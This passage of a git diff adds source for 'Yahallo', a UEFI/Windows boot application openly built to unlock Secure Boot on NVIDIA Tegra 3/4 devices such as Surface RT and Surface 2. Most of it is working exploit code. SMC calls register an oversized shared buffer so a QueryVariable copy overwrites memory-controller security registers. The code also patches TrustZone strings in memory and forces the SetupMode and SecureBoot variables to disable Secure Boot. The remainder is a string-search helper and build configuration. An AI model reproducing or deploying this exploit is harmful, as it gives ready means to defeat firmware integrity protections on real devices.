ArmDisableCachesAndMmu(); + ArmInvalidateTlb(); + ArmInvalidateDataCache(); + ArmInvalidateInstructionCache(); + + *(volatile UINT32 *)pRuntimeFlag1 = 0; + *(volatile UINT32 *)pRuntimeFlag2 = 0; + + ArmDataMemoryBarrier(); + ArmDataSynchronizationBarrier(); + ArmCleanInvalidateDataCache(); + + ArmEnableMmu(); + ArmEnableDataCache(); + ArmEnableInstructionCache(); + + Print(L"MMU re-enabled + caches re-enabled\n"); + + // Re-trigger runtime mode switch, which clears the old registration + UINT32 Ret = 0; + Ret = ArmCallSmcHelper(0x03, 0x05, 0, 0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + if (Ret == 1) { + Print(L"Retrying... -- runtime mode patch phase 1\n"); + goto RuntimePhase1; + } + else if (Ret != 0) { + Print(L"Unexpected call from ArmCallSmcHelper - runtime mode patch phase " + L"1\n"); + goto exit; + } + +PatchStringPhase1: + CortexA15CachePrime(); + + Print(L"Disabling MMU...\n"); + + // Revert runtime mode flags, phase 2 + // Patch string, phase 1 + ArmDisableCachesAndMmu(); + ArmInvalidateTlb(); + ArmInvalidateDataCache(); + ArmInvalidateInstructionCache(); + + *pRuntimeFlag1 = 0; + *pRuntimeFlag2 = 0; + // String is located at Base+0x9811c, delta = 0x4F0 + volatile char *pSetupModeString = + ((volatile char *)pTzGetHashStateString + 0x4F0); + // String is located at Base+0x98130, delta = 0x504 + volatile char *pSecureBootString = + ((volatile char *)pTzGetHashStateString + 0x504); + // BetupMode, BecureBoot + *pSetupModeString = 'B'; + *pSecureBootString = 'B'; + + ArmDataMemoryBarrier(); + ArmDataSynchronizationBarrier(); + ArmCleanInvalidateDataCache(); + + ArmEnableMmu(); + ArmEnableDataCache(); + ArmEnableInstructionCache(); + + Print(L"MMU re-enabled + caches re-enabled\n"); + + // Re-register shared memory buffer area + // To let variable services pick it up again + Ret = ArmCallSmcHelper(0x03, 0x06, (UINT32)SharedMemoryStartAddress, 0x24008); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + if (Ret == 1) { + Print(L"Retrying... -- shared memory address registration\n"); + goto PatchStringPhase1; + } + else if (Ret != 0) { + Print(L"Unexpected call from ArmCallSmcHelper - shared memory address " + L"registration\n"); + goto exit; + } + + // Ready to patch the variable + Print(L"Thinking....\n"); + UINT8 Data = 1; + // SecureMode = 1 to disarm all security checks + Status = gRT->SetVariable( + L"SetupMode", &gEfiGlobalVariableGuid, + EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS | + EFI_VARIABLE_NON_VOLATILE, + sizeof(UINT8), &Data); + if (!EFI_ERROR(Status)) { + Data = 0; + // SecureBoot = 0 to explicitly disable Secure Boot + Status = gRT->SetVariable( + L"SecureBoot", &gEfiGlobalVariableGuid, + EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS | + EFI_VARIABLE_NON_VOLATILE, + sizeof(UINT8), &Data); + if (!EFI_ERROR(Status)) { + Print(L"Have fun\n"); + UINTN VarSize = sizeof(UINT8); + Status = gRT->GetVariable( + L"SetupMode", &gEfiGlobalVariableGuid, NULL, &VarSize, &Data); + if (!EFI_ERROR(Status)) { + Print(L"SetupMode = 0x%x\n", Data); + } + + Status = gRT->GetVariable( + L"SecureBoot", &gEfiGlobalVariableGuid, NULL, &VarSize, &Data); + if (!EFI_ERROR(Status)) { + Print(L"SecureBoot = 0x%x\n", Data); + } + } + else { + Print(L"Something happened: 0x%x (setting SecureBoot)\n", Status); + } + } + else { + Print(L"Something happened: 0x%x (setting SetupMode)\n", Status); + } + +exit: + FinalizeApp(); +} diff --git a/TegraSecureBootUnlock/Include/Application.h b/TegraSecureBootUnlock/Include/Application.h new file mode 100644 index 0000000..68b8411 --- /dev/null +++ b/TegraSecureBootUnlock/Include/Application.h @@ -0,0 +1,57 @@ +// Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All +// rights reserved.
+ +#include + +#include +#include + +#include +#include +#include +#include +#include +#include + +#include + +typedef UINTN size_t; +typedef UINT8 uint8_t; +typedef UINT16 uint16_t; +typedef UINT32 uint32_t; +typedef UINT64 uint64_t; + +typedef struct _VERSION_TABLE_ENTRY { + CHAR16 *FirmwareRelease; + VOID * EntryPoint; + VOID * PreEntryFixup; +} VERSION_TABLE_ENTRY, *PVERSION_TABLE_ENTRY; + +typedef void (*HACK_ENTRY)(void); + +// Routines +VOID SurfaceRTExploit(VOID); +VOID Surface2Exploit(VOID); +VOID FinalizeApp(VOID); + +VOID PerformNvTegra3Exploit(VOID); +VOID PerformNvTegra4Exploit(VOID); + +UINT32 +ArmCallSmcHelper(UINT32 R0, UINT32 R1, UINT32 R2, UINT32 R3); + +VOID Tegra3ConsoleOutputFixup(VOID); +VOID CortexA15CachePrime(VOID); + +EFI_STATUS LaunchExploitByVersionTable(VOID); + +void *memmem(const void *h0, size_t k, const void *n0, size_t l); +#define memchr(buf, ch, count) ScanMem8(buf, (UINTN)(count), (UINT8)ch) +#define memcmp(buf1, buf2, count) (int)(CompareMem(buf1, buf2, (UINTN)(count))) + +#define _MAX(a, b) ((a) > (b) ? (a) : (b)) +#define _MIN(a, b) ((a) < (b) ? (a) : (b)) + +#define BITOP(a, b, op) \ + ((a)[(size_t)(b) / (8 * sizeof *(a))] op(size_t) 1 \ + << ((size_t)(b) % (8 * sizeof *(a)))) diff --git a/TegraSecureBootUnlock/MemUtility.c b/TegraSecureBootUnlock/MemUtility.c new file mode 100644 index 0000000..9cfc3c5 --- /dev/null +++ b/TegraSecureBootUnlock/MemUtility.c @@ -0,0 +1,186 @@ +#include "Include/Application.h" + +static char * +twobyte_memmem(const unsigned char *h, size_t k, const unsigned char *n) +{ + uint16_t nw = n[0] << 8 | n[1], hw = h[0] << 8 | h[1]; + for (h += 2, k -= 2; k; k--, hw = hw << 8 | *h++) + if (hw == nw) + return (char *)h - 2; + return hw == nw ? (char *)h - 2 : 0; +} + +static char * +threebyte_memmem(const unsigned char *h, size_t k, const unsigned char *n) +{ + uint32_t nw = n[0] << 24 | n[1] << 16 | n[2] << 8; + uint32_t hw = h[0] << 24 | h[1] << 16 | h[2] << 8; + for (h += 3, k -= 3; k; k--, hw = (hw | *h++) << 8) + if (hw == nw) + return (char *)h - 3; + return hw == nw ? (char *)h - 3 : 0; +} + +static char * +fourbyte_memmem(const unsigned char *h, size_t k, const unsigned char *n) +{ + uint32_t nw = n[0] << 24 | n[1] << 16 | n[2] << 8 | n[3]; + uint32_t hw = h[0] << 24 | h[1] << 16 | h[2] << 8 | h[3]; + for (h += 4, k -= 4; k; k--, hw = hw << 8 | *h++) + if (hw == nw) + return (char *)h - 4; + return hw == nw ? (char *)h - 4 : 0; +} + +/* + * Two Way string search algorithm, with a bad shift table applied to the last + * byte of the window. A bit array marks which entries in the shift table are + * initialized to avoid fully initializing a 1kb/2kb table. + * + * Reference: CROCHEMORE M., PERRIN D., 1991, Two-way string-matching, + * Journal of the ACM 38(3):651-675 + */ +static char *twoway_memmem( + const unsigned char *h, const unsigned char *z, const unsigned char *n, + size_t l) +{ + size_t i, ip, jp, k, p, ms, p0, mem, mem0; + size_t byteset[32 / sizeof(size_t)] = {0}; + size_t shift[256]; + + /* Computing length of needle and fill shift table */ + for (i = 0; i < l; i++) + BITOP(byteset, n[i], |=), shift[n[i]] = i + 1; + + /* Compute maximal suffix */ + ip = -1; + jp = 0; + k = p = 1; + while (jp + k < l) { + if (n[ip + k] == n[jp + k]) { + if (k == p) { + jp += p; + k = 1; + } + else + k++; + } + else if (n[ip + k] > n[jp + k]) { + jp += k; + k = 1; + p = jp - ip; + } + else { + ip = jp++; + k = p = 1; + } + } + ms = ip; + p0 = p; + + /* And with the opposite comparison */ + ip = -1; + jp = 0; + k = p = 1; + while (jp + k < l) { + if (n[ip + k] == n[jp + k]) { + if (k == p) { + jp += p; + k = 1; + } + else + k++; + } + else if (n[ip + k] < n[jp + k]) { + jp += k; + k = 1; + p = jp - ip; + } + else { + ip = jp++; + k = p = 1; + } + } + if (ip + 1 > ms + 1) + ms = ip; + else + p = p0; + + /* Periodic needle? */ + if (memcmp(n, n + p, ms + 1)) { + mem0 = 0; + p = _MAX(ms, l - ms - 1) + 1; + } + else + mem0 = l - p; + mem = 0; + + /* Search loop */ + for (;;) { + /* If remainder of haystack is shorter than needle, done */ + if (z - h < l) + return 0; + + /* Check last byte first; advance by shift on mismatch */ + if (BITOP(byteset, h[l - 1], &)) { + k = l - shift[h[l - 1]]; + if (k) { + if (mem0 && mem && k < p) + k = l - p; + h += k; + mem = 0; + continue; + } + } + else { + h += l; + mem = 0; + continue; + } + + /* Compare right half */ + for (k = _MAX(ms + 1, mem); k < l && n[k] == h[k]; k++) + ; + if (k < l) { + h += k - ms; + mem = 0; + continue; + } + /* Compare left half */ + for (k = ms + 1; k > mem && n[k - 1] == h[k - 1]; k--) + ; + if (k <= mem) + return (char *)h; + h += p; + mem = mem0; + } +} + +void *memmem(const void *h0, size_t k, const void *n0, size_t l) +{ + const unsigned char *h = h0, *n = n0; + + /* Return immediately on empty needle */ + if (!l) + return (void *)h; + + /* Return immediately when needle is longer than haystack */ + if (k < l) + return 0; + + /* Use faster algorithms for short needles */ + h = memchr(h0, *n, k); + if (!h || l == 1) + return (void *)h; + k -= h - (const unsigned char *)h0; + if (k < l) + return 0; + if (l == 2) + return twobyte_memmem(h, k, n); + if (l == 3) + return threebyte_memmem(h, k, n); + if (l == 4) + return fourbyte_memmem(h, k, n); + + return twoway_memmem(h, h + k, n, l); +} diff --git a/TegraSecureBootUnlock/Smc.c b/TegraSecureBootUnlock/Smc.c new file mode 100644 index 0000000..292fc64 --- /dev/null +++ b/TegraSecureBootUnlock/Smc.c @@ -0,0 +1,87 @@ +// Smc.c: SMC and exploit handler +#include "Include/Application.h" + +UINT32 +ArmCallSmcHelper(UINT32 R0, UINT32 R1, UINT32 R2, UINT32 R3) +{ + ARM_SMC_ARGS ArmSmcArgs; + +#if DEBUG + Print( + L"ArmCallSmcHelper: >>> {0x%08x, 0x%08x, 0x%08x, 0x%08x}\n", R0, R1, R2, + R3); +#endif + + ArmSmcArgs.Arg0 = R0; + ArmSmcArgs.Arg1 = R1; + ArmSmcArgs.Arg2 = R2; + ArmSmcArgs.Arg3 = R3; + + ArmCallSmc(&ArmSmcArgs); + +#if DEBUG + Print( + L"ArmCallSmcHelper: <<< {0x%08x, 0x%08x, 0x%08x, 0x%08x}\n", + ArmSmcArgs.Arg0, ArmSmcArgs.Arg1, ArmSmcArgs.Arg2, ArmSmcArgs.Arg3); +#endif + + return ArmSmcArgs.Arg0; +} + +VOID PerformNvTegra3Exploit(VOID) +{ + UINT32 Ret = 0; + // Get size of the buffers needed (discarded) + Ret = ArmCallSmcHelper(0x03, 0x09, 0, 0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + + // Switch secure world handlers to runtime mode + Ret = ArmCallSmcHelper(0x03, 0x05, 0, 0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + + // Register a new shared memory buffer at 0x4000_0000 (IRAM) with size + // 0x6001_e0e0. The following algorithm is used to determine the end address + // that the QueryVariable call will write over: + // response_area = (request_area + (area_slice >> 1)); + Ret = ArmCallSmcHelper(0x03, 0x06, 0x40000000, 0x6001e0e0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + + // QueryVariable, does a 32 byte memory copy over to 0x7000f070...f090. + // (MC_SECURITY_CFG0, MC_SECURITY_CFG1 and reserved registers) + gBS->SetMem((VOID *)0x40000000, 32, 0); + Ret = ArmCallSmcHelper(0x03, 0x03, 0, 0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); +} + +VOID PerformNvTegra4Exploit(VOID) +{ + UINT32 Ret = 0; + + // Get size of the buffers needed (discarded) + Ret = ArmCallSmcHelper(0x03, 0x09, 0, 0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + + // Switch secure world handlers to runtime mode + Ret = ArmCallSmcHelper(0x03, 0x05, 0, 0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + + // Register a new shared memory buffer at 0x4000_0000 (IRAM) with size + // 0x6001_e0e0. The following algorithm is used to determine the end address + // that the QueryVariable call will write over: + // response_area = (request_area + (area_slice >> 1)); + // + // This is 0x6003_20e0 for Tegra114, which has a MC base of 0x7001_9000. + Ret = ArmCallSmcHelper(0x03, 0x06, 0x40000000, 0x600320e0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + + // QueryVariable, does a 32 byte memory copy over to 0x7000f070...f090. + // (MC_SECURITY_CFG0, MC_SECURITY_CFG1 and reserved registers) + gBS->SetMem((VOID *)0x40000000, 32, 0); + Ret = ArmCallSmcHelper(0x03, 0x03, 0, 0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + + // External fabric may have some read/write requests still to be processed, + // let there be a barrier to make sure the registers are set properly + ArmDataSynchronizationBarrier(); + ArmInstructionSynchronizationBarrier(); +} diff --git a/TegraSecureBootUnlock/Yahallo.inf b/TegraSecureBootUnlock/Yahallo.inf new file mode 100644 index 0000000..c3da429 --- /dev/null +++ b/TegraSecureBootUnlock/Yahallo.inf @@ -0,0 +1,58 @@ +# Yahallo.inf: main application for Tegra Secure Boot unlocking +# Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.
+ +[Defines] + INF_VERSION = 0x00010005 + BASE_NAME = Yahallo + FILE_GUID = e59e2095-d00d-4fc1-85f3-5c0fc38b7d54 + # Note: this is not a real "UEFI Application", it uses a different + # entry point. Let's see how it goes... + MODULE_TYPE = UEFI_APPLICATION + VERSION_STRING = 1.0 + ENTRY_POINT = TegraSecureBootUnlockEntryPoint + +[Sources] + App.c + Cache.c + Console.c + Exploit.c + MemUtility.c + DeviceLut.c + Smc.c + + Include/Application.h + +[Packages] + ArmPkg/ArmPkg.dec + ArmPlatformPkg/ArmPlatformPkg.dec + MdePkg/MdePkg.dec + MdeModulePkg/MdeModulePkg.dec + YahalloPkg/YahalloPkg.dec + +[LibraryClasses] + WindowsBootApplicationEntryPoint + ArmLib + ArmSmcLib + DevicePathLib + BaseLib + MemoryAllocationLib + UefiLib + UefiBootServicesTableLib + UefiRuntimeServicesTableLib + BaseMemoryLib + DebugLib + PrintLib + +[BuildOptions.ARM] + # Well, eventually this should be removed + GCC:*_*_*_CC_FLAGS = -Wno-pointer-to-int-cast -Wno-int-to-pointer-cast -Wno-missing-braces + # Instruct BaseTools to generate Windows Boor Application + *_*_*_GENFW_FLAGS = --windows-boot-application --convert-output-machine-arm-to-thumb2 + +[Guids] + gEfiGlobalVariableGuid ## CONSUMES + gEfiSmbiosTableGuid ## CONSUMES + +[Protocols] + gEfiSimpleTextOutProtocolGuid ## CONSUMES + gEfiDevicePathProtocolGuid ## CONSUMES diff --git a/YahalloPkg.dec b/YahalloPkg.dec new file mode 100644 index 0000000..c4cb74f --- /dev/null +++ b/YahalloPkg.dec @@ -0,0 +1,21 @@ +## @file YahalloPkg.dec +# This Package provides required entry point dependencies for Windows Boot Application. +# +# Copyright (c) 2007 - 2020, Intel Corporation. All rights reserved.
+# Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.
+# (C) Copyright 2016 - 2020 Hewlett Packard Enterprise Development LP
+# Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.
+# Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.
+# +# SPDX-License-Identifier: GPL-2.0-only +# +## + +[Defines] + DEC_SPECIFICATION = 0x00010005 + PACKAGE_NAME = YahalloPkg + PACKAGE_GUID = c99eb7f6-2842-4b0d-ad7a-a104c8ac699c + PACKAGE_VERSION = 1.00 + +[Includes.common] + Include \ No newline at end of file diff --git a/YahalloPkg.dsc b/YahalloPkg.dsc new file mode 100644 index 0000000..d68ffc7 --- /dev/null +++ b/YahalloPkg.dsc @@ -0,0 +1,96 @@ +## @file YahalloPkg.dsc +# This Package provides buildout config for the application. +# +# Copyright (c) 2007 - 2020, Intel Corporation. All rights reserved.
+# Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.
+# (C) Copyright 2016 - 2020 Hewlett Packard Enterprise Development LP
+# Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.
+# Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.
+# +# SPDX-License-Identifier: GPL-2.0-only +# +## + +[Defines] + PLATFORM_NAME = YahalloPkg + PLATFORM_GUID = 8905d433-2814-43a6-bfb1-671010122961 + PLATFORM_VERSION = 0.01 + DSC_SPECIFICATION = 0x00010006 + OUTPUT_DIRECTORY = Build/YahalloPkg + SUPPORTED_ARCHITECTURES = ARM + BUILD_TARGETS = DEBUG|RELEASE + SKUID_IDENTIFIER = DEFAULT + +[BuildOptions.common] + GCC:*_*_ARM_CC_FLAGS = -O0 + GCC:*_*_ARM_DLINK_FLAGS = -O0 + +# +# Debug output control +# + DEFINE DEBUG_ENABLE_OUTPUT = FALSE # Set to TRUE to enable debug output + DEFINE DEBUG_PRINT_ERROR_LEVEL = 0x80000040 # Flags to control amount of debug output + DEFINE DEBUG_PROPERTY_MASK = 0 + +[PcdsFeatureFlag] + +[PcdsFixedAtBuild] + gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|$(DEBUG_PROPERTY_MASK) + gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|$(DEBUG_PRINT_ERROR_LEVEL) + +[LibraryClasses] + # + # Entry Point Libraries + # + UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf + ShellCEntryLib|ShellPkg/Library/UefiShellCEntryLib/UefiShellCEntryLib.inf + UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf + WindowsBootApplicationEntryPoint|YahalloPkg/Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.inf + + # + # Common Libraries + # + BaseLib|MdePkg/Library/BaseLib/BaseLib.inf + # This needs to be faster + BaseMemoryLib|MdePkg/Library/BaseMemoryLibOptDxe/BaseMemoryLibOptDxe.inf + UefiLib|MdePkg/Library/UefiLib/UefiLib.inf + PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf + PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf + MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf + UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf + UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf + !if $(DEBUG_ENABLE_OUTPUT) + DebugLib|MdePkg/Library/UefiDebugLibConOut/UefiDebugLibConOut.inf + DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf + !else ## DEBUG_ENABLE_OUTPUT + DebugLib|MdePkg/Library/BaseDebugLibNull/BaseDebugLibNull.inf + !endif ## DEBUG_ENABLE_OUTPUT + + DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf + PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf + IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsic.inf + PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf + PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf + SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf + UefiRuntimeLib|MdePkg/Library/UefiRuntimeLib/UefiRuntimeLib.inf + HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf + UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf + PerformanceLib|MdeModulePkg/Library/DxePerformanceLib/DxePerformanceLib.inf + HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf + FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf + SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf + ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf + CacheMaintenanceLib|MdePkg/Library/BaseCacheMaintenanceLib/BaseCacheMaintenanceLib.inf + NULL|MdePkg/Library/BaseStackCheckLib/BaseStackCheckLib.inf + + # + # ARM specific Libraries + # + ArmLib|ArmPkg/Library/ArmLib/ArmBaseLib.inf + ArmSmcLib|ArmPkg/Library/ArmSmcLib/ArmSmcLib.inf + CompilerIntrinsicsLib|ArmPkg/Library/CompilerIntrinsicsLib/CompilerIntrinsicsLib.inf + NULL|ArmPkg/Library/CompilerIntrinsicsLib/CompilerIntrinsicsLib.inf + +[Components] + YahalloPkg/TegraSecureBootUnlock/Yahallo.inf +